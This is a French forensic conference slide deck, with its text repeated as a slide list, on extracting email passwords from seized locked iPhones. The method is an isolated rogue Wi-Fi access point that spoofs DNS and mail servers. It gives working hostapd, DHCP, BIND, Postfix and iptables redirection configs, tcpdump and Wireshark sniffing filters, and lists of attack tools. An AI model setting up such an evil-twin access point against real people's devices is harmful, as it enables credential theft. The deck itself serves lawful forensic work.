boolaz.com
Uriel Expert - 1 avenue Henri Dunant 98000 Monaco
Extraction de mots de passe depuis un smartphone
par attaque de type man-in-the-middle
Bruno Valentin
Problématique
2
boolaz.com
Problématique
• Saisie d'une dizaine de périphériques fonctionnant sous iOS dans le cadre
d’un dossier judiciaire

• Nécessité de déterminer les propriétaires des périphériques ainsi que les
comptes de courrier électroniques configurés dans chacun d'eux

> gmail (SSL), orange, free
3
boolaz.com
Control center
• Certains périphériques sont verrouillés par un code

> mis en mode avion par le control center (habituellement activé)
4
boolaz.com
Extraction des mots de passe
• non gérée par les logiciels spécialisés

> xry, cellebrite UFED, MPE+, oxygen, mobiledit, lantern, elcomsoft
5
boolaz.com
Ordre de wipe lancé depuis iCloud
6
Approche adoptée
7
boolaz.com
Approche adoptée
• Mise en place d’un point d’accès virtuel

> détournement / interception des données

• Attaque man-in-the-middle

• Utilisation d’un SSID courant

> freewifi par exemple

• Inviter les smartphones à se reconnecter sur 

un SSID connu (smartphones verrouillés)

• technique du pot de miel
8
boolaz.com
Solution matérielle disponible : Pineapple
• 2x WiFi cards (Atheros 9331 & RTL8187)

• Emplacement micro-SD pour le stockage 

• packages disponibles : aircrack-ng, dsniff, easy-creds, ettercap, hping3,
httptunnel, karma, kismet, macchanger, mdk3, ngrep, nmap, nodogsplash
captive portal, privoxy, ptunnel, snort, sslsniff, sslstrip, ssltunnel, stunnel,
tcpdump, tor, and reaver
9
boolaz.com
Pineapple
10
boolaz.com
Inconvénients
• 150$

• manque de flexibilité de la configuration logicielle 

• reconfiguration pour chaque SSID

• nécessité de contrôler les données qui pourraient sortir ou entrer

> connexion sur les serveurs d'Apple et réinitialisation des smartphones

> récupération des courriers électroniques en attente dans les BAL

> problèmes juridiques
11
boolaz.com
Approche adoptée
• Les périphériques doivent être sortis du mode avion

mais mais ne doivent pas avoir accès à Internet

> réinitialisation immédiate

• Nécessité de mettre en place une infrastructure cloisonnée pour émuler, en
local, les serveurs de courrier électronique des fournisseurs

> Cage de Faraday logicielle
> But : Laisser penser aux périphériques 

qu’ils peuvent atteindre les serveurs 

internet de leurs opérateurs pour qu’ils 

présentent leurs identifiants / mots de passe
12
boolaz.com
Logiciels et matériels utilisés
• Moteur de virtualisation

> VMWare fusion

• Distribution linux

> Xubuntu 12.04

> Backtrack ou Kali

> ou autre

• Dongle USB

> Dlink DWL-G122
13
boolaz.com
Infrastructure
14
freewifi
iCloud.com ?
icloud =

192.168.66.1
192.168.66.1
Pas de wipe
pop.orange.fr ?
pop.orange.fr

192.168.66.1
pop.orange.fr port 110

user : toto@orange.fr
pass : MySuperPass
boolaz.com
U
R

I

E

L
Configuration du
point d’accès virtuel
15
boolaz.com
Système Linux
• Cloisonnement total

• Interface réseau déconnectée dans la VM

• système autonome

> interception de toutes les requêtes DNS et réponse inconditionnelle

> Différents services émulés localement

• S'assurer du cloisonnement avant d'y connecter le smartphone

• S'assurer de l'absence dans l'environnement de 

SSID connus/OPN que le smartphone pourrait accrocher
16
boolaz.com
Services Linux : 4 briques
• HOSTAPD

> IEEE 802.11

• DHCPD

> Attribution automatique IP

• BIND

> Serveur DNS

• POSTFIX + POP/IMAP + SASL

> Emulation des serveurs de courrier
17
HOSTAPD
DHCPD
BIND
POSTFIX
boolaz.com
HOSTAPD
• apt-get install hostapd

• /etc/hostapd/hostapd.conf

interface=wlan0
channel=6
driver=nl80211
ssid=freewifi
auth_algs=1
hw_mode=g
max_num_sta=1
macaddr_acl=0
ignore_broadcast_ssid=0
• récupération possible des probe requests (mode actif)
18
boolaz.com
19
SSID courants
boolaz.com
DHCPD
• apt-get install dhcp3-server

• /etc/dhcp/dhcpd.conf

ddns-update-style none;
option domain-name-servers ns1.freewifi.fr;
default-lease-time 600;
max-lease-time 7200;
log-facility local7;
subnet 192.168.66.0 netmask 255.255.255.0 {
range 192.168.66.25 192.168.66.50;
option domain-name-servers 192.168.66.1;
option routers 192.168.66.1;
}
20
boolaz.com
Zones DNS gérées par le Bind local
zone "freewifi.fr" {
type master;
file "/etc/bind/freewifi.fr";
};
 
zone "orange.fr" {
type master;
file "/etc/bind/orange.fr";
};
zone "free.fr" {
type master;
file "/etc/bind/free.fr";
};
21
boolaz.com
Zone DNS orange.fr
$ORIGIN orange.fr.
$TTL 60 ; validite des reponses
@ IN SOA ns1.freewifi.fr. root.freewifi.fr. (
2002121136 ; sn
8h ; refresh slave (mise à jour slave)
15m ; update retry (slave re-essaye)
1w ; expiry (slave arrete apres)
3h ) ; minimum (plus utilisee)
 
@ IN NS ns1.freewifi.fr.
 
@ IN A 192.168.66.1
www IN A 192.168.66.1
pop IN CNAME www
imap IN CNAME www
smtp IN CNAME www
22
boolaz.com
23
boolaz.com
SMTP Postfix
• /etc/postfix/main.cf

myhostname = jailsrv
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = smtp.orange.fr smtp.free.fr jailsrv localhost
relayhost =
mynetworks = 127.0.0.0/8 192.168.66.1/24
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
smtpd_sasl_auth_enable = yes
24
boolaz.com
Authentification SASL
• "Simple Authentication and Security Layer"

• But : Gérer l'authentification SMTP pour permettre aux utilisateurs de
s'identifier et récupérer leurs identifiants d'envoi

• /etc/default/saslauthd

START=yes
DESC="SASL Authentication Daemon"
NAME="saslauthd"

MECHANISMS="pam"

MECH_OPTIONS=""

THREADS=5
OPTIONS="-c -m /var/run/saslauthd"
25
boolaz.com
26
Notre pot de miel est prêt 👌
boolaz.com
U
R

I

E

L
Activation du wifi
Désactivation du mode hors ligne
sur les smartphones
27
boolaz.com
Appairage des périphériques WIFI
28
boolaz.com
Serveur DHCP
29
boolaz.com
Evidemment : pas de portail captif
30
boolaz.com
Requêtes DNS
31
boolaz.com
Interception des flux
32
boolaz.com
Interception des flux pop, imap et smtp
• Si le DNS n'est pas détourné en totalité, il est important d'intercepter tous les
flux susceptibles de révéler les mots de passe

• Le point d’accès intercepte les flux pertinents et les redirige sur le serveur
local

> SMTP : 25, 587

> POP : 110

> IMAP : 143

• Cette redirection transparente des flux se fait par l’utilisation de règles de
firewall iptables

iptables -t nat -A PREROUTING -p tcp --dport 110 -j DNAT --to-destination 192.168.66.1
iptables -t nat -A PREROUTING -p tcp --dport 143 -j DNAT --to-destination 192.168.66.1
iptables -t nat -A PREROUTING -p tcp --dport 25 -j DNAT --to-destination 192.168.66.1
iptables -t nat -A PREROUTING -p tcp --dport 587 -j DNAT --to-destination 192.168.66.1
33
boolaz.com
Récupération des mots de passe
34
boolaz.com
Sniffing sélectif
• La récupération des mots de passe peut être effectuée par un sniffing sélectif
sur des ports 

> 110, 143 : POP, IMAP

> 25, 587 : SMTP

• Interception du flux réseau

> TCPdump

tcpdump -vv -x -X -s 1500 -i wlan 0 

'port 110 or port 143 or port 25 or port 587'
> Wireshark

wireshark -i wlan0 -p -k -f 

"port 110 or port 143 or port 25 or port 587"
35
boolaz.com
TCPDump
36
boolaz.com
Wireshark
37
Follow TCP Stream
boolaz.com
SMTP Auth
• Enregistrement de l'authentification SMTP / SASL

• Sortie TCPDUMP

• Pour l’authentification SMTP, les informations recueillies sont en base64
38
boolaz.com
Problématique du SSL
39
boolaz.com
GMail
• la messagerie de google utilise par défaut le SSL pour la connexion

• Même en détournant le flux vers la machine virtuelle, il est impossible
d'extraire le mot de passe, celui-ci étant chiffré

• Il est nécessaire de désactiver le SSL pour la connexion GMAIL.

• Il en est de même pour les autres messageries

sécurisées

• Cela signifie donc qu'il faut déverrouiller

l'iphone pour pouvoir changer ce paramètre
40
boolaz.com
41
boolaz.com
IMAPs
42
boolaz.com
SMTP over SSL
43
boolaz.com
44
boolaz.com
Filtres wireshark
• Il est possible de filtrer les packets plus finement via l'utilisation de filtres
d'affichage dans Wireshark
45
boolaz.com
iCloud
• cf : site web apple.com

• chiffrement AES minimal de 128 bits

• chiffrement impossible à désactiver sur iCloud

> pas d'option pour le faire dans l'iphone, 

même s'il est déverrouillé
46
boolaz.com
U
R

I

E

L
Aller un peu plus loin
47
boolaz.com
Requêtes DNS : des informations pleines de sens
48
boolaz.com
Aller plus loin
• Reconfiguration automatique du SSID par script

> Brute force sur le SSID

• Emulation d'un serveur HTTP / HTTPS 

• redirection inconditionnelle de toutes les requêtes web des smartphones sur
le serveur web local installé sur la machine

• Récupération des requêtes GET et POST
49
boolaz.com
50
boolaz.com
51
boolaz.com
Uriel Expert - 1 avenue Henri Dunant 98000 Monaco
Merci de votre attention




	 	 

	 

	 	 	 bvalentin@uriel-expert.com

	 	 	 www.uriel-expert.com

Extraction mots de passe par attaque Man-in-the-middle

  • 1.
    boolaz.com Uriel Expert -1 avenue Henri Dunant 98000 Monaco Extraction de mots de passe depuis un smartphone par attaque de type man-in-the-middle Bruno Valentin
  • 2.
  • 3.
    boolaz.com Problématique • Saisie d'unedizaine de périphériques fonctionnant sous iOS dans le cadre d’un dossier judiciaire • Nécessité de déterminer les propriétaires des périphériques ainsi que les comptes de courrier électroniques configurés dans chacun d'eux > gmail (SSL), orange, free 3
  • 4.
    boolaz.com Control center • Certainspériphériques sont verrouillés par un code > mis en mode avion par le control center (habituellement activé) 4
  • 5.
    boolaz.com Extraction des motsde passe • non gérée par les logiciels spécialisés > xry, cellebrite UFED, MPE+, oxygen, mobiledit, lantern, elcomsoft 5
  • 6.
    boolaz.com Ordre de wipelancé depuis iCloud 6
  • 7.
  • 8.
    boolaz.com Approche adoptée • Miseen place d’un point d’accès virtuel > détournement / interception des données • Attaque man-in-the-middle • Utilisation d’un SSID courant > freewifi par exemple • Inviter les smartphones à se reconnecter sur 
 un SSID connu (smartphones verrouillés) • technique du pot de miel 8
  • 9.
    boolaz.com Solution matérielle disponible: Pineapple • 2x WiFi cards (Atheros 9331 & RTL8187) • Emplacement micro-SD pour le stockage • packages disponibles : aircrack-ng, dsniff, easy-creds, ettercap, hping3, httptunnel, karma, kismet, macchanger, mdk3, ngrep, nmap, nodogsplash captive portal, privoxy, ptunnel, snort, sslsniff, sslstrip, ssltunnel, stunnel, tcpdump, tor, and reaver 9
  • 10.
  • 11.
    boolaz.com Inconvénients • 150$ • manquede flexibilité de la configuration logicielle • reconfiguration pour chaque SSID • nécessité de contrôler les données qui pourraient sortir ou entrer > connexion sur les serveurs d'Apple et réinitialisation des smartphones > récupération des courriers électroniques en attente dans les BAL > problèmes juridiques 11
  • 12.
    boolaz.com Approche adoptée • Lespériphériques doivent être sortis du mode avion
 mais mais ne doivent pas avoir accès à Internet > réinitialisation immédiate
 • Nécessité de mettre en place une infrastructure cloisonnée pour émuler, en local, les serveurs de courrier électronique des fournisseurs > Cage de Faraday logicielle > But : Laisser penser aux périphériques 
 qu’ils peuvent atteindre les serveurs 
 internet de leurs opérateurs pour qu’ils 
 présentent leurs identifiants / mots de passe 12
  • 13.
    boolaz.com Logiciels et matérielsutilisés • Moteur de virtualisation > VMWare fusion • Distribution linux > Xubuntu 12.04 > Backtrack ou Kali > ou autre • Dongle USB > Dlink DWL-G122 13
  • 14.
    boolaz.com Infrastructure 14 freewifi iCloud.com ? icloud =
 192.168.66.1 192.168.66.1 Pasde wipe pop.orange.fr ? pop.orange.fr
 192.168.66.1 pop.orange.fr port 110
 user : toto@orange.fr pass : MySuperPass
  • 15.
  • 16.
    boolaz.com Système Linux • Cloisonnementtotal • Interface réseau déconnectée dans la VM • système autonome > interception de toutes les requêtes DNS et réponse inconditionnelle > Différents services émulés localement • S'assurer du cloisonnement avant d'y connecter le smartphone • S'assurer de l'absence dans l'environnement de 
 SSID connus/OPN que le smartphone pourrait accrocher 16
  • 17.
    boolaz.com Services Linux :4 briques • HOSTAPD > IEEE 802.11 • DHCPD > Attribution automatique IP • BIND > Serveur DNS • POSTFIX + POP/IMAP + SASL > Emulation des serveurs de courrier 17 HOSTAPD DHCPD BIND POSTFIX
  • 18.
    boolaz.com HOSTAPD • apt-get installhostapd • /etc/hostapd/hostapd.conf interface=wlan0 channel=6 driver=nl80211 ssid=freewifi auth_algs=1 hw_mode=g max_num_sta=1 macaddr_acl=0 ignore_broadcast_ssid=0 • récupération possible des probe requests (mode actif) 18
  • 19.
  • 20.
    boolaz.com DHCPD • apt-get installdhcp3-server • /etc/dhcp/dhcpd.conf ddns-update-style none; option domain-name-servers ns1.freewifi.fr; default-lease-time 600; max-lease-time 7200; log-facility local7; subnet 192.168.66.0 netmask 255.255.255.0 { range 192.168.66.25 192.168.66.50; option domain-name-servers 192.168.66.1; option routers 192.168.66.1; } 20
  • 21.
    boolaz.com Zones DNS géréespar le Bind local zone "freewifi.fr" { type master; file "/etc/bind/freewifi.fr"; };   zone "orange.fr" { type master; file "/etc/bind/orange.fr"; }; zone "free.fr" { type master; file "/etc/bind/free.fr"; }; 21
  • 22.
    boolaz.com Zone DNS orange.fr $ORIGINorange.fr. $TTL 60 ; validite des reponses @ IN SOA ns1.freewifi.fr. root.freewifi.fr. ( 2002121136 ; sn 8h ; refresh slave (mise à jour slave) 15m ; update retry (slave re-essaye) 1w ; expiry (slave arrete apres) 3h ) ; minimum (plus utilisee)   @ IN NS ns1.freewifi.fr.   @ IN A 192.168.66.1 www IN A 192.168.66.1 pop IN CNAME www imap IN CNAME www smtp IN CNAME www 22
  • 23.
  • 24.
    boolaz.com SMTP Postfix • /etc/postfix/main.cf myhostname= jailsrv alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = smtp.orange.fr smtp.free.fr jailsrv localhost relayhost = mynetworks = 127.0.0.0/8 192.168.66.1/24 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all smtpd_sasl_auth_enable = yes 24
  • 25.
    boolaz.com Authentification SASL • "SimpleAuthentication and Security Layer" • But : Gérer l'authentification SMTP pour permettre aux utilisateurs de s'identifier et récupérer leurs identifiants d'envoi • /etc/default/saslauthd START=yes DESC="SASL Authentication Daemon" NAME="saslauthd"
 MECHANISMS="pam"
 MECH_OPTIONS=""
 THREADS=5 OPTIONS="-c -m /var/run/saslauthd" 25
  • 26.
    boolaz.com 26 Notre pot demiel est prêt 👌
  • 27.
  • 28.
  • 29.
  • 30.
    boolaz.com Evidemment : pasde portail captif 30
  • 31.
  • 32.
  • 33.
    boolaz.com Interception des fluxpop, imap et smtp • Si le DNS n'est pas détourné en totalité, il est important d'intercepter tous les flux susceptibles de révéler les mots de passe • Le point d’accès intercepte les flux pertinents et les redirige sur le serveur local > SMTP : 25, 587 > POP : 110 > IMAP : 143 • Cette redirection transparente des flux se fait par l’utilisation de règles de firewall iptables iptables -t nat -A PREROUTING -p tcp --dport 110 -j DNAT --to-destination 192.168.66.1 iptables -t nat -A PREROUTING -p tcp --dport 143 -j DNAT --to-destination 192.168.66.1 iptables -t nat -A PREROUTING -p tcp --dport 25 -j DNAT --to-destination 192.168.66.1 iptables -t nat -A PREROUTING -p tcp --dport 587 -j DNAT --to-destination 192.168.66.1 33
  • 34.
  • 35.
    boolaz.com Sniffing sélectif • Larécupération des mots de passe peut être effectuée par un sniffing sélectif sur des ports > 110, 143 : POP, IMAP > 25, 587 : SMTP • Interception du flux réseau > TCPdump tcpdump -vv -x -X -s 1500 -i wlan 0 
 'port 110 or port 143 or port 25 or port 587' > Wireshark wireshark -i wlan0 -p -k -f 
 "port 110 or port 143 or port 25 or port 587" 35
  • 36.
  • 37.
  • 38.
    boolaz.com SMTP Auth • Enregistrementde l'authentification SMTP / SASL • Sortie TCPDUMP • Pour l’authentification SMTP, les informations recueillies sont en base64 38
  • 39.
  • 40.
    boolaz.com GMail • la messageriede google utilise par défaut le SSL pour la connexion • Même en détournant le flux vers la machine virtuelle, il est impossible d'extraire le mot de passe, celui-ci étant chiffré • Il est nécessaire de désactiver le SSL pour la connexion GMAIL. • Il en est de même pour les autres messageries
 sécurisées • Cela signifie donc qu'il faut déverrouiller
 l'iphone pour pouvoir changer ce paramètre 40
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
    boolaz.com Filtres wireshark • Ilest possible de filtrer les packets plus finement via l'utilisation de filtres d'affichage dans Wireshark 45
  • 46.
    boolaz.com iCloud • cf :site web apple.com • chiffrement AES minimal de 128 bits • chiffrement impossible à désactiver sur iCloud > pas d'option pour le faire dans l'iphone, 
 même s'il est déverrouillé 46
  • 47.
  • 48.
    boolaz.com Requêtes DNS :des informations pleines de sens 48
  • 49.
    boolaz.com Aller plus loin •Reconfiguration automatique du SSID par script > Brute force sur le SSID • Emulation d'un serveur HTTP / HTTPS • redirection inconditionnelle de toutes les requêtes web des smartphones sur le serveur web local installé sur la machine • Récupération des requêtes GET et POST 49
  • 50.
  • 51.
  • 52.
    boolaz.com Uriel Expert -1 avenue Henri Dunant 98000 Monaco Merci de votre attention 
 
 
 bvalentin@uriel-expert.com www.uriel-expert.com